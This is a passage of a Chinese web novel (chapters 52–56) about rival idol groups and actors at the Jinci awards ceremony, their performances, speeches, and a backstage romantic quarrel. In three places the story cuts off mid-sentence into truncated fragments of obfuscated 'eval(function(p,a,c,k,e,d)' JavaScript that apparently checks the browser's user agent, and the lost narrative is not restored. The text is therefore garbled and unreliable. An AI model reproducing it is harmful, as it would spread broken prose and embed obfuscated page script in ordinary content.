五个身影再次出现,已换了截然不同的妆造。微卷的刘海柔顺地盖过光洁的额头,发型蓬松有型。内搭是高领的淡粉色丝光衬衫,同色系的丝巾随意系在颈间,外罩宽松舒适的卡其色小香风外套。时尚、精致,带着一丝慵懒的贵气。他们鱼贯而入“秦人洞”,跑向延伸舞台,引发最近的籽爱区又一轮疯狂尖叫。 场景再次转换。一个四方空壁、充满原始生活气息的室内:粗壮的空心杉木梁柱、虬结的摩顶松盆栽、石砌的瀹鼎池、古朴的耕织工具、还有挂在梁下风干的鱼干……陌生的旋律流淌出来,舒缓、悠远,带着一丝淡淡的怅惘。 谢卿歌适时在耳边低声提示:“《桃花源》。” 歌词如清泉般流淌入耳: 【辗转攀上最高的峰巅, 捧起梦寐以求的冠冕, 为何心却像空了的陶罐? 梦醒时分的冷雨里, 你的笑靥是唯一的暖。 渡过滔滔的沅江, 越过巍巍的青山, 回首惊觉—— 我已找不到来时的渡船。 原来你在的地方, 才是我跋涉半生寻觅的桃花源。 我徘徊在无人的渡口, 找寻那把名为‘你’的锁的钥匙。 你……还愿意为我开门吗?】 商颂安静地听着,目光落在台上五人沉浸的表演中。歌声里的追寻、失落与最后的卑微恳求,被演绎得丝丝入扣。当最后一个音符落下,她随着全场观众,送上了真诚而热烈的掌声。内心却是一片沉寂的湖泊,不起波澜。 谢卿歌激动地抓住她的胳膊摇晃:“还没完!还没完!重头戏在我们前一场!‘众神的恶作剧’,啊不,是‘假期’!我编的舞!”她兴奋得语无伦次。 商颂挑眉。今年这是要把APRICITY新专所有歌都在这个颁奖礼上轮一遍?想到谢卿歌为APRICITY编舞主打曲引发的风波,商颂记忆犹新。 消息传出时,骂声一片,都说谢卿歌蹭顶流热度,直到黎名亲自开直播澄清,是他主动力邀谢卿歌合作,编舞创意也是他提出想融合粉丝期待的元素。“不是很多人想看我们PK吗?这次合作就是答案。”黎名当时笑得坦荡。 商颂看着谢卿歌兴奋的侧脸,又想起黎名澄清时的维护。如果不是知道谢卿歌和沈道非那点剪不断理还乱的关系,她几乎要以为黎名是在追求谢卿歌了。这“助攻”未免也太卖力。 APRICITY这两年势头确实如日中天。虽然发歌频率降低,但质量精良,风格多变。两次登上公告牌舞台表演,不久前刚拿下AMA(全美音乐奖)的“最受欢迎国际团体”,创下了内娱男团前所未有的高度。 反观GALAXY,商颂的思绪不自觉飘远。音乐上虽有公告牌热榜记录,但整体影响力和资源待遇仍差了一大截。她自己分心影视圈,对团队发展多少有些影响。或许,该给苏曼提提建议,在资源整合和海外拓展上再下点功夫了。 53. 第 53 章 时间流逝,舞台光圈里,站着两个曾被无数人视为“青春遗憾”代名词的旧情人。 岑星坐在那架标志性的纯白三角钢琴前,裙摆如流淌的月光铺满地面。她微昂着头,天鹅颈优美而易碎,神情是圣女般的悲悯与疏离。 而就在钢琴的盖板之上,祁演一脚踩着琴凳,手里抓着那把和他一样伤痕累累的电吉他。他脱掉了刚才的伪装,那身得体的黑色西装外套被扔在一旁,里面是一件半透明的黑色网衫,汗水已经浸透了布料,勾勒出他紧绷且布满陈旧伤痕的肌肉线条。 【你看那太阳它是黑色的 它在正午时分谋杀了自己的光热 为了让那个苍白的月亮 能够在白天也依然显赫】 祁演开口了。 他的嗓音粗砺,却带着钩子。他没有看镜头,只是死死盯着钢琴前的那个女人。那种眼神,分不清是爱到极致的恨,还是恨到尽头的妥协。 他在嘶吼,脖颈上的青筋暴起,像是一头被铁链拴住的野兽,在对着它的饲主发出最后的哀鸣。 商颂坐在台下,指甲深深嵌入掌心。她太懂这几句词的意思了。 这是祁演在自白。 他在唱他自己。他为了岑星这个“月亮”,亲手掐灭了自己作为“太阳”的光芒,甘愿沦为这场复出大戏里,一个负责伴奏、负责衬托红花的烂泥。 而岑星—— 她接过了副歌。 如果说祁演是火,那她就是那一捧兜头浇下的冰水。 【别说你痛那是成长的祭品 别说你恨那是爱过的证明 我把这世界还给你 在这片只有你我能听懂的废墟】 她的高音空灵、清透,却带着一种令人不寒而栗的高高在上。她微笑着,看着那个在吉他上疯狂扫弦的男人,眼神里竟然是一种慈悲的残酷。就像是一个正在欣赏自己最得意作品的艺术家,欣赏着祁演为她痛苦、为她发疯、为她燃烧殆尽的样子。 直播间的弹幕疯了,彻底疯了。 【救命啊!!这就是传说中的宿命感吗?!】 【我哭了,祁演看着岑星的眼神太好哭了!那是有多爱才愿意为了她重回这个让他受伤的圈子啊!】 【这哪里是唱歌,这是在舞台上公开处刑啊!相爱相杀天花板!】 【岑星太美了!女王和她的疯狗骑士!这一对我先磕为敬!】 直播镜头敏锐地捕捉到了她的状态。弹幕瞬间炸开: 【商颂在干嘛???全程低头玩手机?SOLAR表演不看?年专颁奖也不看?这么不尊重人的吗?】 【呵呵,除了开场的APRICITY她抬了头,后面全程神游,真当自己是来度假的?】 【飘了呗,真当自己是盘菜了?一点礼貌都没有!】 SOLAR表演的喧嚣落幕,内场灯光重新聚焦在舞台中央。颁奖环节在紧张又令人窒息的氛围中推进。 紧接着,“最佳剪辑”、“最佳视觉特效”等一系列技术类奖项被逐一颁发。现场气氛在短暂的喧闹后,转向了影视圈重头戏的凝重。 重量级影后受邀登台,为“最佳女主角”颁奖。大屏幕上依次闪过几位提名者的精彩片段,其中也包括商颂在《他者女人的窥镜》中极具张力的演绎。然而,当最终名字念出,聚光灯打在另一位凭借红色题材影片获奖的实力派前辈身上时,现场响起的是更为热烈和理所当然的掌声。商颂脸上没什么表情,只是放在膝上的手指微微蜷了一下。 紧接着的“最佳导演”更是引爆了无声的惊雷。奖项颁给了一位执导时代正剧、不久前刚被爆出婚内出轨丑闻的男性大导。段南桥的名字甚至没有出现在提名名单里。镜头扫过段南桥,她端坐在座位上,唇角紧抿,下颌线绷得死紧,眼神冷得像冰湖。 当《他者女人的窥镜》最终只捧回一个“最佳配乐”奖杯,工作人员示意段南桥上台领奖时,她直接侧过头,对着递过来的话筒方向,清晰而冰冷地吐出两个字:“拒领。”声音不大,却如同惊雷炸响在寂静下来的内场。 弹幕瞬间被点燃: 【给大家讲个笑话,金棕榈大奖得主回国只能拿个最佳配乐???】 【笑死,在国外给华语电影争光,回来被自己人按在地上摩擦?最佳女主给老前辈我服气,最佳导演给那个出轨男???主办方脑子被门夹了?!】 【内娱这格局……接受不了《他者女人的窥镜》的深度吧?多少人只把它当情色噱头看,根本看不到对人性深渊的凝视!段导牛逼!拒领解气!】 现场气氛降至冰点,尴尬得能拧出水来。颁奖嘉宾脸上的笑容僵得像面具,强撑着宣布下一个奖项“最佳新人女演员”。 大屏幕上,几部热门新剧的女主角片段快速轮播,商颂那张带着野性与脆弱交织感的脸庞出现在中间。安夕来紧张地一把抓住了商颂的胳膊。 那位高挑优雅的江南美人影后站在立麦前,声音温婉却清晰地念出了那个名字:“获得第50届金慈奖最佳新人女演员的是——商颂!” “啊!!!”GALAXY区域爆发出震耳欲聋的尖叫,段南桥冰冷的脸上终于破开一丝裂缝,露出了今晚第一个、带着欣慰和骄傲的真心笑容,目光灼灼地投向商颂的方向。童瞳更是激动地站起身,双手用力拍掌,甚至直接掏出了手机对着她录像。 商颂在一片欢呼声中走上台。她还是那副随性到嚣张的样子,墨镜依旧卡在头顶,反射着舞台刺目的光。她一手随意地抓着那个造型别致的新人奖杯,一手叉在腰上,手指间还卡着那条【IWITHYOUFOREVER】的手幅。 站定在立麦前,她深吸了一口气,目光扫过台下黑压压的人群,嘴角勾起一个带着点玩世不恭的弧度。 “我其实一点儿都不惊讶会得这个奖,”她开口,声音透过麦克风传遍全场,带着一丝慵懒的笃定,“因为从我在这里见到Viviane那刻起,她就一直在给我‘透露情报’。”她俏皮地眨了下眼,动作间,眉骨上那颗临时贴的眉钉拉扯了一下皮肤。 这话乍听像是暗示段南桥和主办方有“勾结”,但在刚刚段南桥拒领配乐奖的背景下,反而充满了辛辣的讽刺意味。镜头立刻切给了段南桥,只见这位刚烈的女导演非但没有生气,反而对着台上的商颂,高高竖起了两个大拇指,笑容爽朗又解气。 台下响起一片会意的低笑和掌声。 商颂晃了晃手里的奖杯,另一只手将那张【IWITHYOUFOREVER】的手幅完全展开,正面对着观众席,笑容灿烂却带着锋芒:“我在想啊,要是不给我这个奖,金慈奖这五十周年的庆典,今晚还过不过得去了?” 她顿了顿,笑意更深,语气嘲讽:“分猪肉分习惯了,最后倒给我留了一份,真是……”她拖长了调子,清晰吐出两个字,“感谢。” “哗!!!” 全场哗然!惊呼声、倒抽冷气声、兴奋的尖叫声混杂在一起。 【卧槽!!!商颂杀疯了!她是不是也不想再参加金慈奖了???】 【狂啊!妄啊!还得是你颂皇!意气风发拽姐又上线了!!!】 【救命!她胸前的炸弹裹起来了吗?!等等,她搞眉钉了?真的假的?不怕痛?肯定是贴的!】 “颂皇!你好高啊!!!!!!”一个粉丝激动到破音的声音撕裂空气传来。 商颂闻声,煞有介事地点点头,顺势接茬:“没错啊!我今晚踩的,可是你们不能承受之重!”她晃了晃脚上那双八厘米的马丁靴。 “啊啊啊啊!好帅啊!好拽啊!我爱死你了!!!”粉丝的尖叫几乎掀翻屋顶。 “嘛,”商颂收敛了些许外放的锋芒,但那份骨子里的傲气不减,“金慈好歹给了我一个平台,该说的场面话,还是得说完。” 她的表情认真了几分,目光投向段南桥的方向:“首先,是我们最好的女导演,段南桥,也是Viviane。遇见她的那一刻,我就有一种本能的冲动——相信她,跟随她。现在,我愿以最崇高的敬意,称她为——叛逆者。” 这个词掷地有声,让全场瞬间安静下来。 “我们都知道,当下的人性,充斥着随波逐流、墙头草般的选择,堕落与麻木比比皆是。”商颂的声音不高,却带着穿透人心的力量,“而这个时代,恰恰在逼迫人群中,必须站出真正关心的人,去带头冲锋!Viviane,就是这个人。承担这份沉重而辛苦的工作,敢于背负骂名踽踽独行的,只有她一人。不仅在电影艺术里,她以镜头为刀,剖开现实的血肉;在生活中,她也在用行动践行她的思想与信仰!” 她的语气充满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个称呼让场内瞬间安静下来。 “请原谅我用这样正式的称呼,”商颂的声音带着一种珍而重之的温柔,“因为在我心里,他无人可替代。” 短暂的沉默,然后,她的声音清晰地穿透所有喧嚣,响彻全场: “致我心中的一片净土——代sir——” “永远的爱意。” “我爱你,” “NOYOUNOME.” 话音落下的瞬间,商颂对着伯雪寻的方向,深深九十度地弯下了腰,鞠了一躬。 镜头猛地切向伯雪寻。他坐在那里,眼眶瞬间通红,一层清晰的水光迅速弥漫,凝聚,他猛地站起身,同样对着台上那个深深鞠躬的身影,回以同样庄重、同样深长的一躬。 “啊啊啊啊啊啊!!!!!” CP粉的尖叫如同海啸般爆发,几乎要将整个场馆的屋顶掀翻。那声浪里充满了难以置信的狂喜、夙愿得偿的激动和见证历史的震撼。 弹幕彻底疯狂: 【我就说寻颂CP是真的!是真的!!!这他妈是官宣吧?!是官宣!!!】 【伯雪寻杀青那天发的第一条微博!配图就是两人合照!文案就是“NOYOUNOME”!!!我当时以为是单向奔赴!我他妈瞎了!!!】 【上帝啊!你给了商颂一张蛊惑众生的脸,就是让她用来蛊惑伯雪寻的吧!!!这谁顶得住啊!!!】 颁奖礼的喧嚣仿佛被隔绝在外。商颂直起身,脸上那片刻的温柔与郑重已经收敛,又恢复了那副玩世不恭的拽样。她一手抓着奖杯,一手拎着手幅,迈着大步,在震耳欲聋的尖叫和无数道复杂目光的注视下,回到了自己的座位。 屁股刚挨到冰冷的塑料椅,安夕来和谢卿歌就像两只兴奋的小鸟,立刻扑了过来,争着要看她手里的奖杯。商颂大笑着,张开手臂,一边一个将两人揽住,左拥右抱,好不惬意。她脸上是纯粹的、张扬的快乐,仿佛刚才那段震动全场的告白从未发生,完全无视了前一刻还在为“寻颂CP”狂舞的粉丝们后脚就可能心碎一地。 弹幕画风瞬间分裂: 【【点烟】很好,商颂很姬,同样也很渣,我必须时刻牢记这一点……】 【朋友和爱人能一样吗?!我不管!我还能磕!双向奔赴的告白我磕爆!渣我也认了!颂皇值得!】 54. 第 54 章 商颂那句震耳欲聋的“NOYOUNOME”余音未消,现场的空气还处于一种被高压电击穿后的焦灼状态。所有人的肾上腺素都被吊到了嗓子眼,既期待着接下来的回应,又担心什么还能接得住这样一场剖白心迹的盛大开场。 灯光就在这时,毫无预兆地全灭。 没有过度的衔接,没有煽情的主持串词。只有一声悠远甚至带着几分诡谲的排钟声,像是来自奥林匹斯山巅的召集令,又像是末日审判前的最后一声叹息,沉沉地压在每一个人的耳膜上。 黑暗中,一道白色的聚光灯如天神之眼,垂直打在舞台正中央。 那里赫然出现了一张长达十米的巴洛克风格长桌。桌上铺着猩红色的丝绒桌布,摆满了镀金的烛台、晶莹剔透的琉璃酒器,还有堆积如山的仿真葡萄与鲜花。 这是一场宴席。 却是一场众神陨落后带着颓废与狂乱气息的宴席。 APRICITY全员,正姿态各异地“瘫”在这张极尽奢华的长桌之上。 季斯年侧卧在左侧,站在背后的唐嘉树手里把玩着一颗金苹果,神情不再是刚才红毯上的乖巧,而是透着一种“懵懂的残忍”;黎名蹲在长桌右侧的边缘,像一只蓄势待发的黑豹,手里的一串银色项链被他缠在指尖,那是束缚,也是武器;沈道非盘腿坐在桌子正中,手里依然拿着那是把折扇,却不再遮脸,而是以扇骨敲击着杯沿,发出一声声清脆的“叮、叮、叮”。 而伯雪寻,他坐在长桌正中央那把最高的、椅背雕刻着荆棘花纹的王座之上。他的一条长腿随意地搭在桌沿,受伤的左手搭在膝头,右手支着下颌,眼神慵懒地睥睨着台下那片漆黑的虚空。 屏幕上,缓缓浮现出血红色的花体字: ——《VacationofGods》(众神的假期)。 “叮。” 沈道非最后一声敲击落下。 音乐骤起。 并非预想中的电子舞曲,而是一段极为诡异甚至可以说是阴森的小调大提琴独奏。 Solo1:酒神狄奥尼索斯的醉步 沈道非率先动了。他猛地将折扇一合,整个人如同被抽去了骨头般从桌上一跃而下。他的动作看似踉跄、摇摆,实则每一个关节都在精准地卡点。这是一段融合了中国古典身韵与现代Popping的“醉舞”。 他像是喝醉了的神仙,在凡尘中跌跌撞撞,衣袖翻飞间带起一阵风。那把折扇在他手中成了剑、成了笔、成了酒杯。他在舞台前端旋转,仿佛在嘲笑世人皆醉他独醒。 “好活!”台下,谢卿歌忍不住吹了声口哨,“这假道士,真本事都藏在袖子里呢。” Solo2:阿瑞斯的战意 音乐突变,沉重的工业鼓点切入。 黎名从桌沿一跃而起,他在空中完成了一个极高难度的360度转体,落地时发出一声沉闷的重响,像是一枚砸进地面的炮弹。 他的舞蹈充满了极致的力量感与侵略性,是Krump(狂派舞)的变种。每他撕扯着领口,脖子上的青筋暴起,那是一种在牢笼中困兽犹斗的愤怒。他冲向镜头,那双三白眼死死盯着屏幕,做出了一个抹脖子动作。 弹幕炸裂: 【妈妈救命!黎名是不是要顺着网线过来打我?!太凶了!但我好爱!】 【这是战神!这是要在废墟上重建秩序的战神!】 Solo3:盗火者普罗米修斯 季斯年出现了。他仅着半袖,露出精瘦却充满力量感的手臂。他被无形的“铁链”束缚在陡峭的岩壁上,身体呈现一种痛苦挣扎后的僵直。一条闪烁着冷光的粗大锁链缠绕着他的身体,起伏的胸膛上,一枚象征金刚石钉子的道具深深嵌入。 Solo4:赫尔墨斯的逃离 紧接着是唐嘉树。这个APRICITY的忙内,展现出了惊人的爆发力。他在长桌上助跑,利用那是高低错落的烛台和果盘作为支点,完成了一系列令人眼花缭乱的跑酷动作。 轻盈,灵动,却又带着一丝拼命想要逃离某种桎梏的决绝。最后,他在长桌尽头一个高难度的后空翻落地,稳稳站在伯雪寻身侧,那个曾经总是躲在哥哥身后的小孩,如今眼神坚定得可怕。 FinalSolo:宙斯的审判 最后,所有灯光收束,只剩下王座上那个男人。 伯雪寻没有大范围的移动。他只是缓缓地,从王座上站了起来。 他的左手依然不太灵便,但他仅仅是用右手扯掉了领带,解开了衬衫领口的一颗扣子,那种从骨子里散发出的、让人忍不住想要臣服的王者之气,就瞬间填满了整个场馆。 他一步一步走下台阶。每走一步,脚下的大屏幕就会裂开一道虚拟的裂纹。 走到舞台中央时,他忽然停住。目光直直地射向商颂所在的方位。 他没有做任何花哨的动作,只是抬起那只戴着黑手套的左手,做了一个虚空抓取动作,然后,猛地握拳。 那是掌控,也是回应。 ——NOYOUNOME? ——不,是有你就有一切。 随着他这一握,原本阴森的背景音乐瞬间戛然而止。 短暂的真空后,一声极其粗暴、原始、充满了颗粒感的电吉他失真音效,如同平地惊雷,轰然炸响。 风格突变。 长桌上的道具被五人极其默契地一脚踢飞,“哗啦啦”一片乱响。伴舞群如潮水般涌上,所有人整齐划一地脱掉了外套,露出了里面的战斗装束。 主打曲《游吟诗人》的前奏,带着横扫千军的气势,在这个金碧辉煌的颁奖礼上,掀起了一场听觉的暴乱。 这哪里是游吟诗人? 这分明是一群以此为名的刚刚越狱成功的暴徒! “准备好了吗?!ToTheHell!!(去他妈的地狱!)” 伯雪寻嘶吼出声,声音沙哑却充满爆发力。 五人猛地站起,再次一脚踢开那些象征着束缚的华贵座椅。 节奏狂暴,那是HardcoreHip-hop与重金属摇滚的杂交产物。 他们以长桌为支点,开始了令人眼花缭乱、充满力量与技巧的轰炸式表演。这是谢卿歌那个“女魔头”为他们量身定做的、堪称“人体极限挑战”的编舞。 歌词在屏幕上滚动,狂放不羁,那是对中古游吟诗《布拉纳之歌》最叛逆的致敬,带着中世纪酒馆里混合着劣质麦酒、汗水与血泪的味道: 【Intabernaquandosumus!(当我们身在酒馆!) 非得用这双断了骨头的手,去举杯吗? YES!WEDO! 为买酒的人干1杯,他的酒里兑了眼泪,供人们开怀畅饮!】 随着第一句rap的喷薄而出,黎名一个侧手翻越过桌面,落地瞬间直接接入了一段极低重心的地板动作,那是把街舞的Groundmove融合进了战斗姿态。 伯雪寻接住从空中抛来的麦克风,单脚踩在椅子上,眼神狂乱: 【为囚犯干2杯! 这牢笼困不住野兽的脊梁! 再为活着的人干3杯! 只要还有一口气,老子就能把天捅个窟窿!】 季斯年和唐嘉树一左一右,如同护法金刚。他们的动作大开大合,整齐度高得令人发指。每一个wave,每一次顿点,都像是重锤敲击在观众的心脏上。 【为所有基督徒干4杯, 神明已死,我们在废墟加冕! 为因信仰而死者干5杯, 这虚伪的殿堂,不需要廉价的眼泪!】 舞蹈强度在不断攀升。谢卿歌的编舞风格是出了名的“不把人当人”。那是对核心力量和体能的极度压榨。 桌上跳跃、空中换位、集体下腰起地。 当唱到“为柔弱的姐妹干6杯”时,伯雪寻忽然看向台下,那只受伤的手紧紧攥成拳抵在心口,眼神温柔得几乎要滴出水来,却又带着狠绝的保护欲。 【为森林的守护者干7杯! 谁敢动我的玫瑰,我就烧了整片森林! 为漂泊不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【虽然很炸,但我真的心疼伯雪寻那个左手,刚才有个撑地的动作,他眉头都皱起来了,肯定是疼了。】 【谢卿歌是不是对男团有仇?这强度是人跳的?如果是国外男编舞搞出来的你们肯定吹爆“炸裂”,换成女编舞就说人家虐待艺人?双标狗滚粗!】 【这词写的太狂了!“神明已死,我们在废墟加冕”,这是在怼谁?怼资本吗?怼那些高高在上的老前辈吗?APRICITY这波真的不想混了?】 【管他混不混!老子今晚就是被爽到了!GALAXY在前面炸,APRICITY在后面掀桌子,今晚这俩团是商量好了要把金慈奖拆了吗?!】 【别吵了!快看台上!】 只见舞台上,伯雪寻做完那个虚空举杯的动作后,目光穿越了半个场馆,精准地落在了商颂的脸上。 商颂此时正站在台下,双手环胸,手里还拿着那个金光闪闪的最佳新人奖杯。 她看着台上那个如同从修罗场杀出来的男人,看着他衬衫湿透紧贴着胸肌,看着他眼底那种要与她共沉沦的疯狂。 她没有笑,也没有哭。 她只是缓缓地将手里的奖杯举了起来,举过头顶。 对着他。 对着这群刚在台上发完疯的“游吟诗人”。 那是一个回应。 也是一个邀请。 在那一刻,无论是那些因为编舞难度而争吵的弹幕,还是现场那些或是震惊、或是嫉妒的目光,都成了这两个人相视一瞬间的背景板。 在这个充斥着虚伪、名利和算计的夜晚。 只有这两群人——GALAXY和APRICITY,用一种自毁的方式,向这个世界宣告: 我们不求神明原谅。 因为我们,就在这地狱里,建起了属于自己的天堂。 55. 第 55 章 金慈奖的后台,是一座即将散场的豪华集市。 商颂躲开了一波又一波来“道喜”的虚伪面孔,手里那座“最佳新人”的奖杯被她随意地拎在手里。她拐进那条消防通道,想透口气,却在那扇厚重的防火门后,撞进了一双幽深的眸子里。 “怎么躲在这儿?” 伯雪寻靠在墙上,那件在舞台上被汗水湿透的真丝衬衫此时贴在背脊上,勾勒出少年般单薄却充满爆发力的蝴蝶骨。他左手的手套还没摘,手里正百无聊赖地把玩着一只没点燃的烟,看见她,眼底那股子在台上要毁天灭地的戾气瞬间散了个干净,只剩下还没褪尽的潮红。 “透气。”商颂没退,反而上前一步,和他并肩靠在冰凉的瓷砖墙上,“怎么,伯大顶流不需要去前台享受万众欢呼?” “没意思。” 伯雪寻垂眸,视线落在她手里那座奖杯上。他忽然伸手,用那只戴着黑色皮手套的手指,轻轻碰了碰奖杯棱角。 “刚才你在台上举起它的时候,我在想……”他的声音很哑,那是声嘶力竭后的余韵,“如果你那时候能在戛纳,该多好。” 五月,法国戛纳。那是电影人最高的殿堂。 《他者女人的窥镜》入围主竞赛单元。那天,伯雪寻一身白色高定西装,段南桥挽着他走上了那条举世瞩目的红毯。全球的聚光灯都在拍他,说他是来自东方的缪斯,说他是那部惊世骇俗电影里的“灵与肉”。 而那天的商颂在哪里? 她在北京那个没有暖气、满是灰尘的废弃工厂里,裹着那件脏兮兮的校服,拍摄《诱罪》里被变态男囚禁在地下室的戏份。她一身是伤,在泥水里打滚,看着手机推送里那个在大洋彼岸光芒万丈的男人,觉得自己像只只能活在阴沟里的老鼠。 “遗憾吗?”伯雪寻转过头,看着她,“金棕榈我们没能一起走,百花奖你也没去。好像每次荣誉加身的时候,我们总是错过的。” “有什么好遗憾的。”商颂紧了紧手指,那种该死的自卑和清醒混杂在一起,让她下意识地竖起了刺,“你是去领赏的,我是去要饭的。本来就不是一路人。” “商颂。” 伯雪寻皱眉,显然不喜欢她这种自我贬低。他忽然侧过身,在这个无人经过的逼仄角落里,强硬地扣住了她的肩膀。 “我在红毯上走的时候,这只手……”他举起自己那只右手,空荡荡地悬在半空,“一直在抖。” “我想挽着的是你。不是段南桥,也不是别的什么鬼。我想让你穿着那件最贵的裙子,站在我旁边,让全世界那些那是蓝眼睛黄头发的老外都看看,我的女主角到底有多漂亮。” 他的呼吸喷洒在她脸上,带着薄荷烟草的冷香,那是足以让人理智崩塌的毒药。 “下次。”他盯着她的眼睛,那里面写满了几乎要溢出来的执拗,“下次不管是奥斯卡还是什么破颁奖礼,我要你挽着我。我们必须是一起的。” 商颂看着近在咫尺的那张脸。他太干净了,又太脏了。那种混合了神性与兽性的美,让她几乎想要溺死在里面。 挽手亮相? 多么诱人的提议。 在这个圈子里,意味着把两人的命运彻底捆绑在一起,意味着在那片满是鲨鱼的海里,再也没有任何回头路。 “不行。” 商颂一点一点,掰开了他扣在她肩膀上的手。 “伯雪寻,你清醒一点。” 她退后半步,眼神在阴影里晦暗不明,“我们要是在这种时候谈恋爱、搞官宣,那就是在给彼此递毒药。GALAXY刚有点起色,APRICITY才翻身。你想让这一车人都给我们陪葬吗?” “陪葬又怎么样?!”伯雪寻低吼,脖子上的青筋跳动,“我说过,天塌了我顶着!” “你顶得住吗?” 商颂笑了,笑得无比讽刺,“你想让翟海良再拿那份对赌协议压死你?我们不是小孩子了,这世上没有那么多‘我就要’。” 她转过身,不敢再看他那双受伤的眼睛。 “想挽手?等哪天我们不用看资本的脸色吃饭了再说吧。” 说完,她推开防火门,头也不回地走了出去。只留下那个男人站在原地,对着那面冰冷的墙,狠狠地锤了一拳。 回到别墅已经是深夜。 那群疯子还在客厅里开香槟庆祝,商颂却觉得自己浑身都在发冷。她借口累了,躲回了自己的房间。 没有开灯。 她蜷缩在那张巨大的落地窗前的懒人沙发里,手机屏幕发出的微弱蓝光,映照出她那张没有任何表情的脸。 她像个变态的窥探者一样,点开了那个早已被她翻看过无数次的文件夹——戛纳五月。 那是伯雪寻在戛纳红毯上的所有生图和饭拍。 五月的南法,阳光明媚得让人想要流泪。 照片里,他穿着一身纯白的西装,剪裁极简,却因为他那挺拔的身形而显得贵气逼人。海风吹乱了他额前的碎发,他微微侧头,面对着几百台摄像机。 所有的媒体都在惊叹他的骨相,他的身段。 只有商颂,像个入了魔的疯子,死死地盯着照片里那一双眼睛。 哪怕是在那么嘈杂、那么盛大的名利场中心。 哪怕他嘴角挂着挑不出任何错处的营业微笑。 但那双眼睛。 那是怎样的眼睛啊。 像是一片倒映着星空的黑海。表面平静无波,深处却暗流涌动。那里没有红毯的虚荣,没有对奖项的渴望,只有一种仿佛要把人吞噬的空洞和孤独。 他在看镜头,又好像在透过镜头,在全世界的人海里,寻找一个不可能出现的影子。 那是代献秋看丢了的阿春。 也是商颂弄丢了的伯雪寻。 “真好看啊。” 商颂的手指抚摸着屏幕上那双眼睛,指尖微微颤抖。 明明是她把他推开的。明明是她在那条昏暗的走廊里说了那样绝情的话。 可此刻,这种自虐的思念疯狂地缠绕上她的脖子,勒得她无法呼吸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但这正是她此刻最真实的想法。 她给不起他要的光明正大,给不起那种牵手站在阳光下的承诺。她只能在这阴暗的角落里,像个贪婪的怪物一样,只想把他在那辉煌时刻最迷人的那部分——那双装着爱意的眼睛,偷偷藏起来,据为己有。 我是爱你的。 但我更想把你囚禁在我的福尔马林里。 曲终。 商颂抱着吉他,额头上全是冷汗。 这首歌叫《给我你的眼睛》。 是她写给那个在戛纳红毯上光芒万丈、却眼神孤独的男人的“渣女”情书。 她不想让他赢。不想让他变得那么完美,那么遥不可及。 她只想让他疼。想让他瞎。 想让他在这浮华的名利场里,只能看见她一个人。 哪怕是以这种最扭曲的方式。 56. 第 56 章 SOLAR的私人聚会地点选在北京东四环那套能俯瞰整个朝阳公园的顶层大平层里。 没有媒体,没有粉丝,只有被昂贵的进口皮革、全套Fendi家具和落地窗外虚幻夜景包裹起来的几个人。 祁演坐在价值六位数的意大利真皮沙发上,觉得屁股下面像是长了钉子。 他手里习惯性地拿着个酒瓶,但这瓶子里装的不是几十块的二锅头,而是标价能顶他以前半年房租的罗曼尼·康帝。他喝了一口,觉得味道怪极了,像是泔水里掺了金粉,咽下去的时候割嗓子。 “Cheers!” 宿染像只不知疲倦的泰迪,举着杯子满屋乱窜,“这一杯为了我们在北京的重逢!为了Music!为了Love!” “周彻呢?”岑星忽然转头,看向那个一直空荡荡的单人沙发,“他又迟到了。” 祁演把玩着手里的拨片,冷笑了一声:“周大少日理万机,哪有空跟咱们这群闲人过家家。说不定这会儿正忙着在哪里‘选妃’呢。” 话音未落,玄关处传来了指纹锁解锁的滴滴声。 周彻走了进来。 他只是穿着一件剪裁精良的深灰色西装,领带已经被扯松了,衬衫扣子开到了第三颗,露出的锁骨上似乎还带着某种暧昧的红印——或者那是酒精过敏,谁知道呢?他身上的烟味很重,那种极烈的手卷烟草味,盖过了屋里的檀香。 “说什么呢?这么热闹。” 周彻随手把车钥匙扔在玄关柜上,发出一声脆响。他走过来,没有看祁演,也没有看那个咋咋呼呼的宿染,目光径直落在了岑星身上。 “又在编排我?”他挑了挑眉,难得地露出一丝疲惫。 “我还需要编排?”岑星站起身,走到他面前,伸手像是要去帮他整理领带,却被他不着痕迹地避开了。 “一身的烟酒味,是不是又去找哪个小明星了?”岑星半真半假地嗔怪着,“我都听说了,最近那个什么新晋小花为了那个仙侠剧的角色,可是把你的门槛都踏破了。” “那是工作。” 周彻走到吧台,给自己倒了一杯冰水,一口气灌下去,压住胃里那种翻涌的恶心感。 “岑星,搞清楚。我的工作也是很忙的。不管是那些还要往上爬的女明星,还是那些只想吸血的投资人,我都得应付。” 他转过身,背靠着大理石吧台,看着这屋子里几个被他像摆弄人偶一样凑在一起的所谓“乐队成员”。 “我做这一切,花几亿砸个娱乐公司,不就是为了陪你玩这个无聊的乐队小游戏吗?” “无聊?”祁演把酒瓶子重重往桌上一顿,“周彻,你把SOLAR叫做无聊的小游戏?” “难道不是吗?”周彻看都没看他一眼,“如果没有我的钱,你觉得重组后舆论那么严重的事态,到现在能随意在大街小巷放?祁演,别太把自己当回事。这就是个游戏,我是充钱的那个玩家。” 祁演的手背青筋暴起,刚想站起来,却被那种无力的虚无感给按了回去。 是啊。他是充钱的玩家。而他们,只不过是这豪宅里的NPC。 酒过三巡。 酒精这种东西,总是能把人心里那点不可告人的欲望给勾出来,再放大十倍。 岑星喝了两杯香槟,脸上泛起了微醺的红晕。她赤着脚踩在地毯上,像只慵懒的猫。 她走到巨大的电视墙前。屏幕上正在重播今晚的金慈奖颁奖典礼。 画面正好定格在商颂领奖的那一刻。 